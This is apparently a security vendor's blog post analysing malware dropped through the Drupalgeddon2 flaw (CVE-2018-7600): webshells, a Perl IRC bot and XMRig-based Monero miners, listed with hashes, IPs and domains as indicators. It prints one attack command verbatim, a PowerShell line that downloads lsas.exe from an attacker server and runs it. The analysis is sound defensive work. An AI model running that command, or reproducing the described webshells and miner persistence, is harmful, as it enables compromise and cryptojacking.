A few weeks ago a highly critical Drupal vulnerability dubbed as Drupalgeddon2 (SA-CORE-2018-002 / CVE-2018-7600) was discovered and patched by Drupal developers. This security problem permits remote code execution (RCE) without user authentication and affects the Drupal core of versions 7, 8 and the unmaintained 6 too. Aside from patching the vulnerability, due to its impact the Drupal team also created a FAQ to explain it in detail. According to this FAQ, exploitation in the wild started last week:
“Exploits have been developed. Sites not patched by Wednesday, 2018-04-11 may be compromised. This is the date when evidence emerged of automated attack attempts”.
Last Thursday 12th April CheckPoint researchers published a detailed blog post about the vulnerability and how to exploit it. Some hours after that, a public Proof of Concept (PoC) was released on GitHub by Vitalii Rudnykh and in the past days, even more, PoCs have been published. However, we do know that patching may not be so quick in some environments and not all users keep their applications up to date. As expected, this PoC began to be used by opportunistic attackers in order to compromise systems and distribute malware.
This blog post summarizes the different kinds of payloads we have detected related to the exploitation of the Drupal vulnerability and provides their relevant IOCs.
We have observed different PHP webshells which permit command execution and/or file uploads. The simplest webshells, allowing the upload of files to the server, seem to be used by hacking groups who could use them to perform defacements or count as a hack in websites like Zone-H.org. More obfuscated and complex webshells allow command execution on the server, which could have multiple ways to further utilize the compromised systems.
|accesson.php||Obfuscated webshell which executes code passed in parameter “id” and permits uploading files using the parameter “up” (all POST requests)|
|aril.ttf / themes.css||Shows an HTML form if the cookie “key” is not set. If it is set it treats it as an URL and it will download and execute the PHP code downloaded from that URL|
|payload.php||File uploader, gives back a path where file was uploaded. This was downloaded from the penetration testing “Spider Project” project on GitHub.|
|undx.php||Simple file uploader, showing “UNDX” as signature|
|rxr.php||Simple file uploader, showing “RxR HaCkErs” as signature. This file was downloaded from Pastebin where the registered user RxR-HaCkEr uploaded it on the 13th of April. This group is quite likely related to the hacking group RxR mentioned on Zone-H.org|
|wer.php||Evaluates the code passed in the parameter “uf” and it will pass the result as argument to the function passed in the parameter “pr”. A bit more complicated than a normal command execution webshell.|
Most of the files have been distributed via compromised websites or online services like Pastebin or GitHub:
- 9b56360918da09e317c95dcd329baa93 accesson.php
- e80a36030f5f751869ca8fa5fca5cf39 aril.ttf
- fca7aa605272a9c4bc0f8dc2ebabd9f4 themes.css
- 8f4ae815f9054cb68334cdf45aa2bfb7 payload.php
- 656d9f2b2286ede753bc8bbf8197edcd undx.php
- a7947c8c6dad19c4873037ccc7982b2a rxr.php
- 1928d861c1f9aed0c7e6e93c782cb476 wer.php
A different kind of payload to the well-known webshells we found was an IRC bot written in Perl. The attackers connected from a Bulgarian IP and tried to download the bot from 188.8.131.52. After downloading it, the bad guys were launching the script using a new IP (184.108.40.206) as an argument, the IRC server. The bot tries to connect to the channel #2s in order to receive instructions.
The functionality of the bot is based on an old script mentioned by the researcher Daniel Cid in 2011 and whose objective was mainly performing DDoS attacks. However, though important functions to perform DDoS attacks like “tcpflooder” or “udpflooder” are missing and there is less code overall in the script we analyzed, it is still possible to execute commands in the compromised system. In the following image we can see the function used to parse the commands sent from IRC server.
It seems that in this case, the attackers just want to have a way to control the compromised machine and an IRC server was simple enough for this purpose. We have also spotted other versions of the same Perl script adding portscanning and other functionalities; it has been reused and distributed widely in the past few years.
- 4aa75702984766e197994f3d036d8903 2sm.txt
We quickly examined different binaries which were dropped to the vulnerable machines. We found attackers using both Linux and Windows binaries, all of them Monero miners based on XMRig. XMRig is a well-known open source Monero miner project whose source code is public and available on GitHub. Thanks to this it is quite easy to embed miner functionality in any other malware or legitimate binary.
We have identified two different attackers using Linux binaries to mine Monero. In the first case, using the different components downloaded from 220.127.116.11:8220 and detailed below, the attackers were able to stop other miners, assure persistence by adding a cron job, and download and execute the Monero miner based on XMrig. The Monero address included in the config file is
|logo4.jpg||Bash script which kills existent miners, assure persistence and download configuration and “rig” binary to start mining Monero. If “rig” is not running it will download and execute “rig1”, and then “rig2” if “rig1” is not running either.|
|logo7.jpg||Bash script to assure persistence and download configuration and “rig” binary to start mining Monero.|
|logo8.jpg||Same content as logo7.jpg|
|rig||Linux Monero miner based on XMRig 2.5.2 (compiled on Apr 7 2018)|
|rig1||Linux Monero miner based on XMRig 2.5.2 (compiled on Apr 6 2018)|
|rig2||Linux Monero miner based on XMRig 2.5.1 (compiled on Mar 25 2018)|
|1.json||Monero config using monerohash.com as mining server.|
Different scripts and binaries are also involved in the second case, where the initial component is a bash script. The functionality is similar to the previous case, where different existent miners are stopped and persistence in the system is assured, to later download and execute the Monero miners.
However, this second case downloads a different binary depending on the architecture (32 or 64 bits) and protects with a modified UPX; it is able to use cron jobs but also rc scripts as a persistence method, and before any action it will collect information on the compromised system, encode it with base64 and send it to the server (tc8zdw.if1j0ytgkypa.tk). This can be seen in the following image:
|i||Bash script to perform the main activity: send system information to the server (tc8zdw.if1j0ytgkypa.tk), download “k” to stop existent miners, download the miner (“32” or “64”) and assure persistence|
|k||Bash script to stop existent miners running in the compromised system|
|32||Monero miner for 32 bits connecting to u5evn7.if1j0ytgkypa.tk:6666 and based on XMRig 2.5.2|
|64||Monero miner for 64 bits connecting to u5evn7.if1j0ytgkypa.tk:6666 and based on XMRig 2.5.2|
It is quite surprising to see a Windows binary being dropped as payload for a Drupal vulnerability, since most of the systems running Drupal are Linux. It is possible that there are more Windows servers running Drupal that previously thought. In any case, this Windows binary is intended to be dropped in the system using PowerShell:
cmd.exe /c PowerShell (New-Object System.Net.WebClient).DownloadFile(‘hxxp://18.104.22.168/phpmyadmin//config/lsas.exe’,’%temp%\lsas.exe’);Start-Process ‘%temp%\lsas.exe’
This specific sample downloads the miner configuration from hxxp://22.214.171.124/miner/monero.txt, and from this config we can see that it is using the default settings, the mining pool xmr-eu1.nanopool.org and the following destination Monero address:
This address has also been observed embedded in binaries related to the crypto-miner malware family Zezin back in October 2017, so it seems that the actor behind these campaigns is trying different miners and malware to make the largest profit.
After a closer look, we noticed that the miner config this sample uses has been copied from https://xmrminer.net/config.txt. In fact, from this website it is possible to generate Monero Silent Miner for Windows systems, based on XMRig, customize settings and even stop when Task Manager is running (see image below). At the end of the process users need to pay $5 to access the binary, but it is all surprisingly easy. It seems that lsas.exe has been generated from this website too.
- a657c03aaab67e8849dbd416f1959dfe logo4.jpg
- 22d21348b3d4dee7c34665ce40ec2ad7 logo7.jpg
- 22d21348b3d4dee7c34665ce40ec2ad7 logo8.jpg
- 394e69b681fd1a2e893601465f57361e rig
- 40a98b568073efd202bc32a6850ce0c9 rig1
- 8fe4a2cd5cdcf9dcdfbdb52efa626be8 rig2
- 767760d9b86baf97ebe97e4edab7295d 1.json
- 6c85f07447e89d4cf75eaa802c00a7e5 32
- d3fdab14bc4f9d1a61ff734731148077 64
- 3f6d3e8f3c84e8df4826f7e31b180153 i
- 6f26744f70b23e39816e7df62b2c15eb k
- a86cdd5ba320447b61a59fd9b452cea4 lsas.exe
As we are used to seeing, critical vulnerabilities are quickly used by opportunistic attackers to make the most of the momentum before patches are widely applied. It is likely that some compromised systems will not be patched and will remain controlled by the attackers and mining cryptocurrencies. However, more serious attacks, including the theft of PII information or credentials from CMS users – are also possible when attackers have the ability to execute commands within systems.
Patching at the earliest stage possible is highly important to mitigate the risk of more serious post-exploitation. Threat intelligence services are able to detect and monitor global threat data, accelerating incident response performance to limit potential damage and limit further attacks.